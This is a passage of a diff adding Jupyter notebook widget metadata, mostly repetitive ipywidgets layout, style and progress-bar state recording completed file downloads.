+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_12ff54a14fc7431bb32e7b21bb5d5d3a",
+            "max": 53,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_c3d02b4bdb5146ada4e53a32dc35febc",
+            "value": 53
+          }
+        },
+        "05e1b9bc07bb4582a6a9773f1c780b08": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a285ee78e0744e55a1a7b74a5d03a457",
+            "placeholder": "",
+            "style": "IPY_MODEL_ea91573ae56b4f42b2a1ab742808b774",
+            "value": " 686/686 [00:00<00:00, 10.9kB/s]"
+          }
+        },
+        "06badb4c7c2841ec81fda124200b78c7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_89fefc52dab444c0bad0cc276b7aaed1",
+            "max": 229,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_000edec0ff0b45a58b55b579af201a14",
+            "value": 229
+          }
+        },
+        "06bb057f22154f0faebcda40b2dbc861": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_44a243ebf5a2403a8afc5a0c3b316f1c",
+            "max": 2275437102,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_8ce1788263004e0193b23589deceb38b",
+            "value": 2275437102
+          }
+        },
+        "0740d2dda01e4fd099f22e668e15e86c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_36bd1bcc785e4db3bb6c0bc80fa4a45c",
+              "IPY_MODEL_b5f36f62fd704cb9a448305458f27238",
+              "IPY_MODEL_a5162ec682cc44d1a39a2400697acfa9"
+            ],
+            "layout": "IPY_MODEL_f7f29d1c21ee4b12bf5de7de1a7a8dff"
+          }
+        },
+        "07d945887a124977be98d016c62f0666": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "07e8835f207749fdbb9d621f2d361c84": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "08927ca870534d02b930900d968c8477": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1f77de9e162c43baa6782c73337d79ad",
+            "max": 1142,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_a0791b7ccc8c472595f1019ea9ab5d88",
+            "value": 1142
+          }
+        },
+        "08c45bf115b6472e9a6ccbad35ae965f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "08d94314477a40fe938684c636727c1d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0a1169695a024c109ec2ad72fcd8e112": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0b89371281014a8db151d84e86499ff3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0be32907fa5b490eb1d14bbb9e1455db": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0c52a46d3d4c484b9e7d8801a0c79950": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0cce19853cf34654a295fdec10cee7e1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0d63a3b0ce6c4921b06c7a9010e959d3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0e8ad173a82d43d8b77c3c6bef962bdf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_574ad7e60e094412960be9762389eaae",
+              "IPY_MODEL_de3627eaa528448893978592542733e5",
+              "IPY_MODEL_dda27d7452514c43b7a20b9736ad3e7d"
+            ],
+            "layout": "IPY_MODEL_597a0fe8b94e4641b8b69bc392a616ea"
+          }
+        },
+        "0edadb813122420c9f4b9d3200fcf27e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "102e2d5de57641f3bda341770c3d6f20": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "10a5b8513bef47a4a941ce05623bcf84": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "113ca3012eff4d1faea67698f6a7788f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "12c3328918f141cd8abe8a051a99208f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_52938dbd04b14f5691035139ec8a72f7",
+            "placeholder": "",
+            "style": "IPY_MODEL_4e37c900ea394fb09e2d0b2101ff95ba",
+            "value": " 878k/878k [00:00<00:00, 2.09MB/s]"
+          }
+        },
+        "12ff54a14fc7431bb32e7b21bb5d5d3a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "137705f8b18f40199162c524c85ae0a4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1399ce80407d4a04ae58a972b027e251": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9356897f789d46ddb246cc90f9cbf5ec",
+            "placeholder": "",
+            "style": "IPY_MODEL_f7987a6948cf4ad0819371cad4c6bb1d",
+            "value": "Downloading: 100%"
+          }
+        },
+        "13b54aa3150047dc8ae2dc2a7adc5323": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_8e74b5c528344915af85b5b5676f5dbf",
+              "IPY_MODEL_aaab926fd3094a0aa06bbba734ee1cc2",
+              "IPY_MODEL_47a3ac34306b47ac88ce394201d7d979"
+            ],
+            "layout": "IPY_MODEL_3daa9562b36a4ce2b27302e27937b793"
+          }
+        },
+        "14144ed4056b4c0693c54ee3d4d3be52": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "15726e462972430d81534ef1804e8b56": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2a51b3687a6c45cd8f647066bbdb571c",
+            "max": 3741,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7d6f6d3aa8554d2f91412a6b018911f5",
+            "value": 3741
+          }
+        },
+        "161b3a16f27b47ffa3b71ccd609dc32d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "173e275358c74e54ae8007ebfb8abc55": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "17dbf7cc0a704e8c880a91a55d8105c9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "186e5d787132428b9fd34eaff9c38520": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1884398ce5494e3eb9a42e3364bed8ca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1888204862754106b13df2b562b08d8a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f4218286d73b445f999fcb28d8718be1",
+            "placeholder": "",
+            "style": "IPY_MODEL_cdb2cecb1ea64420912e0909f041d480",
+            "value": " 122/122 [00:00<00:00, 3.08kB/s]"
+          }
+        },
+        "193fa29fc74f448a96516cac5d53d864": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
